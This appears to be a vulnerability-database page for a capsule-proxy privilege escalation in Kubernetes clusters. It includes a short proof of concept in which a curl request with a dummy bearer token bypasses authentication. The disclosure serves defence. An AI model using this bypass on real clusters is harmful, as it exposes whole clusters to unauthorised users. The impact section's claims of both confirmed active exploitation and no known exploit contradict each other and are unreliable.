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GHSA-fpvw-6m5v-hqfp
No affected components available
The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.
All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.
PoC
Start a KinD cluster with the anonymous-auth value to false.
If it is true, it uses anonymous permissions which are very limited by default
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: ClusterConfiguration
apiServer:
extraArgs:
anonymous-auth: "false"
Install capsule and capsule-proxy
k port-forward svc/capsule-proxy 9001
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001
Then query the proxy
curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'
Impact
The whole cluster is exposed to unauthorised users.
This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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